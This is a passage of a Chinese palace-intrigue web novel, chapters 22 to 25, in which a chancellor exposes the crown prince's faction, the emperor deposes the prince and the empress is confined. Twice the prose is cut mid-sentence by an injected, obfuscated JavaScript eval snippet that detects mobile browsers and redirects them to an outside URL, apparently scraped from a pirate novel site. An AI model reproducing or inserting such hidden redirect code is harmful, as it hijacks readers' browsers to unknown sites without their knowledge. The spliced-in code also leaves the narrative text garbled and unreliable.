我每天等,我等着你派去的人回来,承明四十年夏,我眼睁睁看着那些人抬着箱笼进了你的府中,然后在夜里,竟往东宫的方向走!” 寂静了多时的围观百姓骤然爆发出一阵不敢置信的唏嘘,之前那些话都是在揭发臣子草菅人命,可如今竟然扯到了东宫储君身上,不少头脑灵活的百姓稍一联想,心中有了一个可怖的猜测。 也许,那些官吏敢那么做,便是有太子的授意。 白发百姓还在接着说:“我一路跟着他们,我亲耳听到那些侍卫说要去医铺开药,那张牙人夫妇染上传染的怪疾,死不瞑目!!” “像这种惨无人道的事,我身后的人,几乎全经历过,满门被灭、科举榜上有名却被暗中换掉,派人追杀,以意外身亡告知天下、手脚被打断,有家不敢回……此间种种,全是你们这些逆臣狼狈为奸,凌弱暴寡,还有那位高高在上的太子,你们这样的人如何配当官,当未来君主!!” 白发百姓字字句句铿锵有力,口才极好,又皆是出自真情实感,不少围观之人都被激起了一腔热血,人群开始躁动。 太子党羽这下是完全冷静不下来了,之前还可以说是明哲保身,反正跟他们自己又没有关系。但现在扯到了太子,那彻底不一样了。 太子不好,他们也绝不会好。 扯到太子,才算是踩到他们的痛处。 看着面色极其难看,差点要晕厥的李德,几乎所有人都反应了过来,心生后悔,今天完完全全就是一场有备而来的阴谋。 可惜,他们没能立刻明白,还自以为是有些人没为太子处理好那些杀人的事情,被抓住把柄,暗骂活该。 如果时光能重来,不用李德再催促暗示,他们一定会齐心协力。 朝中追随其余皇子的官吏怎么会看不出这些人在想什么,心中不由讥笑,平时作威作福,欺压他们的时候可没见有人后悔。 今日官吏相伴下朝,除了留在皇后宫中说话的太子与七公主,还有昨日因病告假的四皇子之外,几乎所有人都在。 私底下追随七公主的兵部侍郎李兴面色沉沉,想了想,打算用特殊信物给七公主报信,手已经伸进了袖子里,最终还是作罢。 七殿下为人谨慎,就算太子倒台,最多也就是除去郡王身份。要是她报信被别人发现,那就不妙了。周围这么多人,少不得有一直隐藏的暗卫之类的存在。她不能冒险。 每个人各怀心思,人群躁动不止,舒祭酒等人差点气都喘不上来了,他们属实是没想到天子脚下,竟然有这么多人饱受虐待,蒙受不白之冤。 太子那些人简直比他们想象的还要嚣张! “原是如此。”裴渡舟总算开口,声音明明不大,但在场所有人都不由自主地噤了声。 迎着百姓们义愤填膺的样子,他神情肃穆,狭长的眸子里有着清晰可见的愠怒,“本相着实没想到,京师之地,竟然能发生这种天理不容的恶事。一年前,陛下曾赐本相一道旨意,若到了国将不国,危急关头的时候,可先斩后奏,护萧朝苍生。” 言罢,他取出一块金制令牌,“玄武将军何在?” 群臣看着那块鎏金纹样的令牌,心中哗然,那是可以号令京都三万左右龙武军的龙武令。 陛下对丞相的信任原来已经到了这种地步! “末将在。”早有准备的玄武将军立刻出列,单膝下跪。 “朱雀街以南,明夜街以北,你亲率左右龙武军入府去搜,任何地方都不要放过。”裴渡舟眸光冷淡,“从此刻起,关城门,全城戒严。” “若有违者,就地斩杀。” “末将领命。” 朱雀街以南,明夜街以北那一带,多是朝中达官贵人的居所,许多太子党羽也住于此间。 裴渡舟转身面向神情激动的百姓,清冷的嗓音中仍旧能听出些许的怒气,似是对太子党羽所做的事极为愤恨,“诸位放心,陛下仁爱万民,定会洗刷你们身上的冤屈,还你们一个公道。” 躁动喧哗的百姓纷纷高呼陛下圣明,皇恩浩大,实乃十二州之福! 那群告状的百姓也全都朝着宫门的方向跪了下去,双肩不时耸动,哽咽声不断,惹得不少心肠软的人暗自抹泪,心中的血气又被激起,跳出来大骂太子党羽不是人。 以李德为首的官吏还是第一次受到这种待遇,被平日里看不上的平民百姓激情辱骂,一个个涨红了脸,说不清是怒到了极点,还是气血上涌,胆颤心惊。 周皓倒是面色平静,扶着晕死的周太师不知在想什么。 五皇子在后方看的心情舒畅不止,身旁江令薇感觉时机已到,可以抽身了,在前方某人阴沉的眼神看过来时,颤着语气道:“五哥……我手好痛啊……” 五皇子懊恼地一拍大腿,好像才记起来这件事,愧疚道:“都怪五哥太过生气,差点忘了你还有伤在身……” 江令薇很配合,直说不怪他,都是他人的错。 五皇子很满意,喊来几个禁军去他的府邸架一辆马车来,江令薇及时打断他的动作,“五哥不用这么麻烦,我骑马回去就好了。”一来一回等马车来,太耽误时间了。李疏已经等在公主府里,回去就可以诊治。 先前开路的禁军有的是骑马过来的,此时正栓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974418|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一边的角落里。 五皇子也不勉强,叫人把马牵来。但最终却牵来了一匹赤兔烈马,禁军解释说是之前人群躁动,其余的马受了惊,只余下这匹马还好好地待在原地。 五皇子有些担忧,万一她摔了别人恐怕会以为是自己的过错,嫌麻烦马车都懒得让人坐。 他正准备开口让江令薇等马车来,就见她吩咐一个禁军骑上马,接着自己紧随其后翻身上去,回头道:“五哥,虽是烈马,但这是他们金吾卫的马,他们自己都骑,有人带着,我不会有事的,你别担心。” 她看得出来他在想什么。 五皇子一想也是,对着那个禁军嘱咐了一番,要他多加注意。 前方的裴渡舟不知何时将目光投了过来,如之前在金銮殿那样,没有丝毫掩饰,脸上也没有什么表情。 周遭是百姓对朝臣的辱骂,喧哗吵闹。他恍若未觉,长身玉立,双眸平静地看着江令薇跟那个禁军略有些近的距离。 一些臣子注意到当前的场面,思绪万千,都认为江令薇日后要倒大霉,不知又是从哪惹了裴丞相不快,看样子将来还有的受丞相排挤。 也是可怜,爹不疼,没有娘,还被针对。几个心地还行的臣子想。 不过,这都是命,无人能抵抗。 就像现在的太子党羽那样,有胆子小的甚至浑身抖个不停,简直要哭出来。 “诸位大人。”裴渡舟收回放在江令薇身上的视线,没什么情绪地道:“事关重大,请入宫吧。” 大人?太子党羽听出了其中的讽刺,可也无能为力,一个个心如死灰,之前围着保护他们的禁军金吾卫此刻在裴渡舟的示意下,也不敢再像以往那样对他们毕恭毕敬,纷纷抽出刀剑,板着脸让他们速速进宫。 以前不管太子党羽所做的恶事,也是怕自身被波及,但如今不同,恶事被当众揭发,太子怕是不会好过,而且丞相都发话了,他们也只是听令行事。 出宫时还高谈阔论着民生的太子党羽,进宫时却再不复那时的神采。 唯有周皓一人,他从始至终没有询问能不能找太医来为父医治这种蠢问题,在百姓们的谩骂声中,他面上始终没有任何异色,如一潭死水,在酝酿着什么。 五皇子又派了人进宫请太医去为江令薇医治,和她招呼一声后,也随大家进宫。 途径裴渡舟身边时,还特意为江令薇说好话,大致意思无非就是为了裴渡舟刚才的凝视,以为他还在唱白脸配合自己做戏。 裴渡舟看着五皇子眼中藏着的笑意,冷声道:“殿下哪里的话。臣向来对事不对人。” 五皇子也不欲再多说,眼下还有更重要的事,长叹一声故作无奈,信步离去。 听着后面的烈马嘶鸣声,裴渡舟低垂眼睫,堪堪克制住心底暴烈的冲动。 然而,熟悉的声音再度传来。 “少隐,上来。” 话语里的催促很明显,同样,关心也很明显。 “属下……主仆有别,您唤一个人扶着属下便可,或者属下也可以自己走……殿下!” 少隐忽然惊呼。 江令薇直接反手扯住少隐的胳膊,运用内力,不容置疑地将人往身后一带。 少隐瞳孔一震,心跳变得剧烈,他属实是没想到她会来这一出。 “人如何有马快,再耽搁下去,你就成残废了。” “可,属下实在不敢冒犯!”少隐作势就要瘸着腿跳下马,主子当初的那些话还犹言在耳,他万万不可犯了忌讳。 “不冒犯,坐稳了。”江令薇迅速摁住少隐的胳膊,吩咐前头的禁军,“快点回府。” 又一次猝不及防的身体接触,小臂霎时像被火苗烫过,热得厉害,连带着他的脸也烧了起来。为了防止他可能会做出半路跳下马的举动,江令薇的手没有松开,一直牢牢按着他。 少隐僵直着身体,那股滚烫的温度似乎蜿蜒而上,窜进脑海,将所有思绪搅乱,砰的炸开。 耳边响起急促的嗒嗒马蹄声,夹杂着冰凉的冷风,吹起身前人发间扬动的青色飘带,调皮地刮过他的脖颈,明明是如寒风一样冷的东西,可他却奇异般地感到了一点点余温。 如同漠北那夜的枣褐色斗篷,暖和,让人悸动。 似有所感,少隐猛地回头,长青街道中央,裴渡舟面无表情地看着他们,剑眉压得极低,狭长眸子里一点温度都没有,恍若三九天里的霜雪,令人骨寒毛竖。 23. 第 23 章 回到府里,早早候在正厅中的李疏还来不及为两人看诊,宫里的太医就来了,碍于李疏师父以及他自身的名头,恐会被人认出来,江令薇让人先离开,等会儿再来。 来的太医是位慈眉善目的老者,是太医院的贾院史,据他所说,皇帝听闻后龙颜大怒,特意派了他来为自己诊治。 对此,江令薇自是满脸感动。但隐隐的,她觉得这位贾院史是在为父皇试探她的伤势。 意在怀疑她和裴渡舟有不可告人的关系。 确实有。但她的伤势也是真的。 江令薇丝毫不心虚,任由贾院史诊治。 贾院史医术良好,诊治一番后看得出江令薇所受的伤极为险,只差一点,手指筋骨便会裂开,但所幸力道不够,左手与后脑勺受得皆是皮肉伤,休养数日便可完全康复。 包扎后,江令薇又让贾院史为少隐看看,贾院史和气地应下。 和她一样,少隐腿上的伤万幸也无大碍,卧床休养一段日子就可,但伤口十分狰狞,那把刺进少隐身体里的软剑上雕着锋利的暗纹,是刑狱里折磨人的利器,不到关键时刻,不会给人用这种刑具。 因为一旦用了,十人里有九人都会落下不良于行的毛病,变成跛子。 派人送走贾院史,江令薇收起眼里的感动与泪水,盘腿靠在一侧的围床上,小脸板着,不知道在想什么。 少隐扶着椅子的一边,跛着腿站起,面具下的脸毫无血色,正欲向江令薇行礼告退,她忽然看了过来,一字一顿道:“我会让周洪生不如死的。” 少隐脚步一顿,她眼角眉梢还沾着零星血迹,深红色的,往日温和神态全然不在,说出的话也是十足的狠厉。 他怔怔地注视着她。 心口忽然又开始不受控地跳动,杂乱无章,简直是横冲直撞地在胸膛里肆意搅弄。 波动太过强烈,令它的主人脚下生根,忘了反应。 “先别走,等李疏来,再给我们看一遍,才包扎完,乱动伤口会崩裂的。手和脚还是很重要的,不能不当回事。”嘱咐完,江令薇见少隐没有反应,心中狐疑,“你是不是冷?我叫人生炭火来。” 她招手吩咐外头候着的吴管事去办。 府中下人搬来几座掐丝珐琅薰笼,红罗炭燃烧着发出噼啪的声响,偶尔可见几点火星子,驱散了一路上的寒冷。吴管事又命人点了些早早备好的安神静气的香。 厅堂内暖风熏人,香气清冽。窗户间的层层绮纱上,映出窗格里镂空的花纹来,随着和煦的轻风抚过,倒像活了起来,一朵朵花影相映成趣。 只不过,此刻的两人都没什么心思去看这所谓的“花影”。 少隐闭了闭眼,无数悸动与情愫在叫嚣,他觉得浑身在发烫。但脸上的面具又是那样冰冷,冻得人发寒发抖。 江令薇没注意到他的异常,也不知道他的复杂心情。于她而言,周洪伤了她,又差点让少隐不良于行,结局不是死,她是不会作罢的。 思绪在温暖的炭火下,渐渐回到那一晚,裴渡舟说给她的谋划。 周家与太子权势愈发大,她的父皇视其为眼中钉,肉中刺,只恐皇位不保。派他暗中搜集周家与太子作恶,结党营私的证据。 至于是怎么搜集的?他没细说,但她猜,应该是通过皇城司的手段,他以前可是皇城司的指挥使。 皇城司专供皇帝驱使,是名副其实的帝王爪牙。今天那些告状的百姓必定就是他用皇城司的人暗中保下来的。 他说,太子党羽行事放肆,周家更是嚣张无比,这些人里除了周皓,其余的人皆是贪生怕死,趋炎附势之辈,死到临头可能都还在想着所谓的明哲保身。 他没说错。江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974419|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令薇确信,今日她从头看到尾,那些人的确是一盘散沙,大风吹过,就得散。 他着重说了周家兄弟,周洪是和四皇子一样的人,心比天高,认不清斤两,最易算计。但周皓不同,等他回过味来,一定会有动作。不过他们已经陷进美梦里太久了,狂妄的事情没少干,周皓就算反应过来,也只会是徒劳。 首先派人给周洪下毒,让她掐着时机与其相遇,被撞,引诱周洪口出狂言,让群臣撞见,又事先安排了人藏在围观的百姓里给周洪下第二次毒,等场面乱起来时,适时地让那群百姓冲进来喊冤告状。 这是他告诉自己的全部计划。 至于给周洪下的癫狂毒药,是李疏炼制的,她看得分明,水滴到那个花魁的小臂上,周洪就毒发了,她猜大概是手上涂了什么东西,碰到水,碰到周洪就发作。 虽然早知道李疏医术无双,可她此刻仍不免感叹,真是厉害,简直是出凡入圣,至少,她就没听说过世上会有那种药。 崇云山的人医术都这般了得吗?听说李疏还有一个师弟,不知道比不比的上他。 想着想着,江令薇脑海里不自觉浮现出那枚龙武令的样式,鎏金纹样,中间挖空,黄玉制成…… 有此令牌,足以号令京中三万左右龙武军。 真是好看。她想。 不过,此时的宫里,她的父皇会如何处置这件事呢? 太子和周家应该是不会好过,但八成也不会立刻就处决,毕竟,周家有从龙之功。 另外,之前场面乱起来时,她有注意到周皓的反应,盛怒之下,反而转成平静,好像就这么接收了周家即将垮台的事实。 没有人能眼睁睁看着自己完蛋,没有人能坦然赴死。她始终坚信这个观点。 一定有后手,京城未来几天或月余肯定是有大动作,不会平静的。 24. 第 24 章 与此同时,金銮殿里。 龙椅前的挡风帷幔罕见地被撤下,一身常服的皇帝从殿门口走来,所过之处群臣跪倒一片。 听得上方落座声后,有人叫他们起身,但却并非福来代为通传,竟是皇帝亲自开口。 群臣心思各异,抬起脑袋,还未来得及告状或是辩解,便对上皇帝那张苍老的脸。 不再是隔着一层隐隐绰绰的帷幔,而是真真实实地见到了皇帝的圣颜,虽然脸上还是皱纹横生,薄薄的一层皮肉贴着骨头,眼窝凹陷,老态尽显,但给人的精气神却不同了,那双眼睛像深山里的一汪潭水,幽静不明,危险至极。 不少臣子心底讶异,一时忘了分寸,多看了几眼。 出乎意料的,皇帝没有怪罪,甚至可以说是平和地开口:“今日下朝回宫时,孤恍惚间竟然看到一只青龙腾云飞过,身上霎时清明了不少。” 裴渡舟拱手:“恭喜陛下,青龙乃四象之一,是瑞兽,依臣看,定是天佑陛下,不忍逆贼误国,是上等的吉兆。” 一些大臣立刻会意,纷纷山呼“天佑君主”“佑我萧朝”。 太子党羽心知肚明所谓逆贼说的是谁,但此情此景,也只好不情不愿地混在其中,跟着一起喊。 皇帝勾唇,道:“裴爱卿之前说有要事需孤定夺,难道就是你刚才所说的逆贼一事,究竟是何意?” 重点来了。群臣噤了声,或是屏息以待,或是焦急难安。 裴渡舟将宫外发生的事情一五一十地说了出来。 “什么!”皇帝猛地一拍桌案,面上带着不可置信的神情。 李德的心瞬间提到了嗓子眼,被吼得头皮发麻,其余人也没好到哪里去,殿中一片抽气声。周皓依旧面无表情,周太师则是在殿外,被裴渡舟以陛下仁爱为由,唤了一名太医来诊治,至于周洪,已经下了皇城司诏狱。 位于右首的五皇子微低着头,做出诚惶诚恐的模样来,心里却愉悦至极。 裴渡舟道:“陛下息怒,臣已派了左右龙武军去搜府,相信很快就会有结果。那些受了冤屈的百姓也派人记下他们的状词,交由孟指挥使一一查验是否属实。” 皇帝怒犹未息,面色俨然铁青一片,当即吩咐道:“来人,把那个孽子叫来。孤近年来只是精神不济,不是死了!” 偌大的金銮殿里,几乎是在皇帝话音刚落的下一刻,群臣齐刷刷地跪了下去,太子党羽皆战战兢兢,惶恐不安。 帝王之怒,从来不是开玩笑的。 虽说皇帝年岁老矣,但早年间的狠辣手段连他国民众都曾有所耳闻。先帝膝下曾有十一子,彼时的皇帝没有显贵家世,亦无圣宠,硬是靠着一番铁血无情的手腕,还有周家的助力从众皇子中活生生杀了出来。 登基当日,一身威严叫人胆寒。 也就是近年来身体每况愈下,不理朝政,才叫很多人忘了,龙椅上坐着的是个什么样的主儿。 皇帝已然下令,福来立刻命人去请太子。 传旨的小太监哆嗦地擦着额上的冷汗,还没跑出殿门,就被迎面急奔而来的几人狠狠踹倒在一侧的古铜鼎香炉上,脑袋恰好被鼎身表面雕刻的蟠龙尖角戳中。 小太监霎时惊叫出声,血溅四方,将蟠龙眼珠染成瘆人的深红色。 殿中臣子眼皮跳了跳,纷纷回头,是谁这么大胆,敢在金銮殿动武?! 来者正是太子党羽盼了多时的东宫储君,还有紧皱着眉的七公主。刚才踹人的便是一脸怒气的太子。 皇帝未曾言语,然而,从他愈加冰冷的眼神,和发白的骨节能够窥见现在心情如何。 皇帝不说话,但殿中有的是人为他指责太子。 “太子殿下不让人通报再入殿,还出手伤人,是要造反吗?!”舒祭酒气得眉毛倒竖,当即跳出来指着太子叱骂。 太子从得知消息开始,心里就憋着一肚子火,李德那群废物,什么事都办不好!眼下被舒祭酒当众指着鼻子骂,太子哪能忍,右手捏成拳,立刻大步流星地朝舒祭酒方向奔去,关节噼啪作响。 群臣看着太子那幅要暴揍舒祭酒的动作,一时惊得忘了言语,李德等人尤甚,浑身血液好似倒流,冲到脑门,激起大片鸡皮疙瘩。 紧随其后的七公主见状立刻高喊:“二哥!” 舒祭酒根本不怕,梗着脖子回视太子。 太子还算有些理智,到底只是狠狠地剜了舒祭酒一眼,继而撩开衣袍对着上首下跪,诉道:“父皇!儿臣是您和母后的孩子,小时候您常与母后教育儿臣,要仁爱百姓,儿臣全都记在心里,绝不会做出那种人神共愤的事情!都是小人谗言,您切不能信啊!” 此言一出,群臣皆是想起皇帝是如何得势,周家于皇帝有大恩。 若是从龙之功都不管不顾,做出过河拆桥,忘恩负义的事情,是要被后世人戳脊梁骨的。 李德等人也反应过来,一颗心七上八下,忐忑又不安,既期盼皇帝顾念旧情,放他们一马。又忧心期盼落空,性命不保。 皇帝依旧不语,只淡淡地看了裴渡舟一眼。 裴渡舟会意,冷声道:“陛下仁爱,太子殿下日日听受教诲,更应该以身作则,怀瑜握瑾,为天下之表率,才对得起陛下一番厚爱,而不是上行下效,滥杀无辜,视人命如草芥!” 说到这,裴渡舟适时地停了一下。 不出所料,太子听闻此话立刻炸了,把来时皇后的告诫忘得一干二净,要不是七公主紧紧拉着,他能直接冲到裴渡舟面前动起手来。 “裴渡舟!你别以为本宫不知道你打的什么主意?要问天下表率,父皇厚爱,第一个该死的就是你!你有什么脸!”太子破口大骂。 言罢,殿中落针可闻。 李德等人心中一咯噔,刚正常一点的脸色须臾间好似糊了一层砌墙的糯米灰浆,僵直,发白。 是他们忘了,太子最好面子,今日恐怕是天要亡他们…… 行列中间的周皓拧着眉心,心里不知骂了多少句无知的蠢东西。 皇帝端坐高台,干枯的手指上盘着一串油润的念珠,一颗又一颗地拨动,将所有人的反应尽收眼中,沉吟不语,似乎刚才的盛怒只是错觉。 “哦?”裴渡舟侧目觑了眼火冒三丈的太子,平静地回道:“那太子殿下倒是说说,臣有何罪?” 太子又是气笑了,双眼涌动着阴鸷的凶光,笑声回荡了几息后,他突然当着文武百官的面,一桩桩地细数起裴渡舟以往的骇人事迹。 “承明三十八年,孙御史死在家中,唇舌被割开,死状凄惨!而在此之前,孙御史刚弹劾过你,世上有这么巧的事?你怎配为官!” “孙御史因何而死大理寺已经查明,乃是他为官不正,收受作恶官吏娟帛银钱,名为御史,私底下却公然视朝廷法度于无物,官官相护,被受冤百姓拔舌而死。藐视律法,是其活该。” “……好,这事暂且不论!三年前的鸿胪寺司马寺臣,仅仅只是给某个外朝使者排错了位子,你就抓着不放,连夜将人下了诏狱,鞭笞而死!你还有什么可说的!” “司马寺丞勾结外域使者,大理寺和皇城司,御史台,还有刑部都有记载。如若殿下不看文书,不关心朝政,那臣确实无话可说。” “你!你之前当指挥使的时候,抄家灭门不计其数,本宫记得其中有一个姓长孙的评事,带着幼子跪在你府邸前,求你再审一次案情,可你个下作东西竟活生生将两人剥皮抽筋,凌迟而死,幼子何辜!你怎配为人!” “长孙评事官位来其不正,多次欺上瞒下,延误案情,经刑部查明,乃是冒名顶替了承明二十五年的学子,属欺君之罪,按萧朝律法,该诛九族,判凌迟。” 裴渡舟声音沉稳,姿态不卑不亢,无论太子提起多久远的事情,也能面不改色地立刻驳回去。 太子脸色青了又白,手指紧紧攥着,被堵得无话可说。他才不信裴渡舟没为了一己私利杀过无辜之人,明明是个杀人如麻,心狠手辣的佞臣,可在那番辩驳下,倒像个真正爱民如子的好官,天大的笑话! 群臣眼观鼻鼻观心,虽然早就知道当朝丞相杀人不眨眼,但这一桩桩的事情说出来,纵然有理,听上去也不免胆战心惊。 李德等人面如死灰,殿中气氛静得如一滩死水。 皇帝脸上依旧看不出情绪,眼神讳莫如深。 裴渡舟倏忽勾唇,接着道:“但本朝证身之法甚多,冒名顶替长孙评事还是头一个,皇城司不审案子,臣也不知后事如何,只是进入朝堂后略微听闻长孙评事原姓周,也不知是真是假。如今看来,所有事倒是连起来了。” “裴爱卿何意啊?”皇帝总算开口,声音里不含一丝温度,手上把玩着的念珠已经化成了齑粉从指缝中飘落。 龙椅旁的福来敛息屏气,弓着腰小心翼翼地呈上一方素帕。 裴渡舟收回目光,眸中闪过一抹微不可查的讥讽。 还能是何意?他们卖官鬻爵,要完蛋的意思。李德等人欲哭无泪,周皓深吸一口气,将所有恼火全部按下去。 殿外响起太监通报声。 玄武将军和皇城司的孟指挥使孟兴健步如飞进入殿中,登时,所有目光全聚集于这二人身上,连呼吸都不自觉停滞了一瞬。 两人办事很速度,一本又一本的账簿和罪证被呈于殿前,上面记载的赃物数不胜数,金银器具,宝石玛瑙,翠玉琉璃…… 孟兴还特意请了宫中造办处的工匠来坚定成色质量,每一样都无可挑剔,随意一件卖出去能得千两银子,有的甚至有市无价,珍贵非凡。 群臣听着太监念着那一长串的名单,面上心里都精彩极了。而太子本人,则是在七公主的提醒下,才好不容易克制住上前撕烂那些账簿的冲动, 玄武将军等名单念完后,单膝下跪,回禀道:“这些赃物全是在裴丞相所说的朱雀街至明夜街间的同僚府邸搜出来的,途中,有不少百姓自发前来,状告太子和周家横行霸道,鱼肉乡里, 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以舒祭酒为首的朝中清流皆不敢相信太子脸皮厚到了这种地步,不仅把毒誓当玩笑,还当众挟恩图报。再大的恩,也经不起这样消耗啊…… 殿内抽气声一片。 “够了!” 上首传来怒吼。 随之其后的,是那本厚厚的账簿被狠狠甩到了太子面上,毫不留情的力道霎时将他侧脸打出一片血痕。 群臣提心吊胆,皆不敢言。 皇帝面色铁青,一双圆眼看向太子时,不含一点父子该有的情谊,冷得如刀子般,杀心显露。 “你这孽子,何以为人啊?”皇帝厉声呵斥, 太子心里窝火,敢怒不敢言。 皇帝从龙椅上起身,面色冷厉地沿阶梯缓步而下,一步又一步,声音在殿内尤为清晰。 所过之处,群臣无不避退。 皇帝来到裴渡舟身边,双眼眯起,裴渡舟神态始终镇定,微低着头,以示恭敬。 群臣看到这一幕,心里都各自有了较量,陛下这……难道是开始不满丞相了吗? 为何?不少臣子心里都有这个疑问。是手上沾染的血腥太多,还是凶名太甚? 今日宫外的百姓之所以能对着裴渡舟那番话感动至深,有一部分原因是不认识他,只以为是哪位为国为民的重臣。若是知道这是威震十二州的丞相,只怕场面又会不一样。 爪牙太利,其主也会忧心是否有弑主的可能。 殿中央的太子却误以为皇帝是信了几分他所言,立刻痛心疾首地开口:“父皇,您相信儿臣,裴渡舟对您心不忠啊!今日发生的一切说不准就是他一手策划,要弄死儿臣,霸占朝廷啊!” “你是在说你自己吗?”皇帝猛地上前甩了太子一巴掌,“孽子!事到如今,还敢攀扯裴爱卿?!” 太子不可置信地捂着被打得浮肿的脸,面目有片刻的狰狞,垂在身侧的另一只手紧握成拳,骨节都在发白。 群臣下意识一抖,对于很多人而言,天子之怒,是真有移山拔海之威。一直不曾开口说话的五皇子却大感快慰,他的二哥终于要倒台了,大快人心啊! 裴渡舟眉目冷淡,立在原处,并未言语。远远看着,似乎是一位信奉清者自清的忠臣。 侍立在一处的玄武将军和孟兴面色同样没有太大的变化,作为天子心腹,镇定自若是基本功夫。虽然,两人的心里并不如表面那样平静。 皇帝闭了闭眼,眉心拧得极深,再开口时,声音沧桑了不少。 “来人,太子负孤心,愧对百姓,周家负孤意,残害苍生,今日下诏废其储君之位,幽禁于咸宁宫,无诏不得出,周太师幼子对孤之十子出言不逊,殴打于市,乃藐视朝纲,大不敬之罪,择日问斩……” 旨意很长,带着疲惫的声音砸在每个人的心头,激起千层波涛。 最终,周太师与周皓遭贬黜,孟兴呈上的罪证与状书里,与其有关的官吏通通下狱,等候刑部与大理寺会审。朝中大半官吏全被殿外候着的千牛卫押入监牢,其中有许多都姓周。就连同为皇子的七公主,也被连坐,同样幽禁于深宫。 太子被押下去时,眼里的恨意与不甘几乎要从里面钻出来,千牛卫丝毫不讲情面,直接反剪住他的双手,像个牲口一般,屈辱地被推着踉跄前行。太子哪受过这种羞辱,心中的恨瞬间达到了顶峰。 但此时此景,太子也做不了什么。 来时,怒气冲冲,去时,怨恨满心。 对饱受周洪欺辱的江令薇,皇帝格外怜惜,金银玉石,珍宝良药流水似的赏赐下去。还当着朝臣的面,特意说等其伤好,便挑一个良辰吉日,受封郡王,领刑部侍郎的职,补上一任周姓官吏的缺。 群臣皆山呼陛下仁爱子女,是圣明之君。 仁爱吗?皇帝坐于上首,看着殿内少了一大片的朝臣,微微勾唇。 天子当然仁爱,有错的自是旁人。 25. 第 25 章 下了朝,在刑部与大理寺当值的官吏大多行色匆匆。今日之事一过,朝中竟是再找不出一个周姓官吏,全被押走了。 天边不知何时聚拢起一片片的乌云,风雨欲来。分明是白昼,看着却像是入了夜,天光黯淡。 坤宁宫。 “你说什么?!”仪态雍容的周皇后怒目圆睁,不敢相信自己听到了什么。 底下宫人被吓了一跳,忍着惊惧小心翼翼地回禀,但措辞再小心谨慎,也掩盖不了太子被废,周家倒台的事实。 “陛下怎么能如此对我们!”周皇后根本接受不了自己的儿子与娘家被这么对待。 “本宫要去求见陛下,他不能这么做……绝对不能!” “娘娘!” 没人拦得住周皇后,深宫之中她积威甚重,以至于竟然一路畅通无阻地跑到了养心殿外。福来眼皮一跳,刚准备让千牛卫拦住她,便听殿里皇帝出声,奇异般地让皇后进来说话。 里间,皇帝端坐于尊位,手上拿着一卷修心养性的经书,边缘已经泛了黄。 见到怒气冲冲,礼也不行,开口便是质问的周皇后,皇帝表情淡淡,没有多余的反应。 周皇后久未见皇帝,心中思念与恨意交织,惹得悲凄更甚,连自称也顾不上,“陛下!您还记得当初娶我时,对我立下的誓言吗?此生唯我一人,不纳妃,爱重我娘家,可如今,您一个没做到,通通食言了!” “你几岁了?”皇帝回答,但话里话外皆是讽刺。 “陛下……”周皇后瞳孔陡然睁大,难以置信地注视着上首的皇帝。 “情浓意好之时,说的话岂可当真?”皇帝翻过一面经书,看也不看周皇后,“再者,你和周家得到的还不够多吗?真要孤双手把皇位奉上,你才算满意吗?” “妾绝没有这种念头,陛下您要——” “你很聒噪。”皇帝打断了周皇后的话。 “你……”周皇后呼吸一滞,指尖用力到隐隐发白,“你……怎么能这么狠心!我当初满心憧憬嫁给你,你借我们周家的势上了位,不过几年,便借口酒醉宠幸了旁的人,我多爱你啊,我不舍得怪你,都是旁人下贱,勾引你。 我满心满眼为你着想,可你明面上哄着我,转头就去别人宫里,几十年来,你倒是儿女绕膝,福乐无边!我苦守着那座坤宁宫,你来看过我几回?如今,终于是忍不了了,要过河拆桥,忘恩负义了啊!” “终于?”皇帝掀开眼皮,总算瞧了她一眼,“原来你也知道,你知道孤在烦恼什么,可你却装作看不见,不加以劝谏你的好儿子,好娘家,反过来怪罪起孤了。” 周皇后双眼含泪,整个人都在发抖,悲痛到了极点竟是扬唇笑了出来,“是。我知道,我什么都知道。在你宠幸第一个女人的时候,我就想过,是要剐了你还是阉了你。你把我的真心踩进泥沼里,可我偏偏狠不下心……” 听到这种大逆不道之语,皇帝还是没有太大的反应,或者应该说早就习惯了。早年间的皇后便是连他多看一眼旁的女子,都要生大气,不好好哄上几天,是不会罢休的。 “所以?你想等你的好儿子上位后,杀了孤?还是剐了孤?” “杀你?”周皇后一边流泪,一边笑着反问,“我怎么舍得杀你?我要和你生同寝死同穴,终日待在坤宁宫里,只能看着我,看着我们的儿子,荣登大宝,我们一家人再不分离……哈哈哈……” 可能是知道太子与周家倒台已成定局,或是皇帝冷淡的态度深深刺痛了心,再也忍受不了这么多年的冷淡,周皇后越说越多,声嘶力竭地吼着,貌若癫狂,流泪不止。 “你真像个疯子。”皇帝平静地再翻过一页经书,吩咐道:“来人,皇后生了癔症,不宜见人,此后没有旨意,谁敢放皇后出门,耽误治病,孤就杀了谁。” 外边候着的福来立刻进来,招手示意几个宫人把周皇后扶回坤宁宫。 “我有什么病?!”周皇后一听此话神态更加悲愤,指着皇帝骂道:“当初,父亲一直劝我,天家无情,我不信,我哪里肯信!现在看来,父亲没说错,你!你们江家人!全都是无情无义的怪物!连鲜血都是冰霜做的,冷漠无情!谁帮了你们,就等着忘恩负义的那一天吧!” 福来大骇,忙让宫人把周皇后拉走。 这是在诅咒国脉啊!历来皇室最忌讳这个。 但人绝望之际,力气也变大了不少,一时间,好几个粗膀腰圆的宫人都擒不住她,雅致古朴的殿里回荡着她的质问和咒骂。 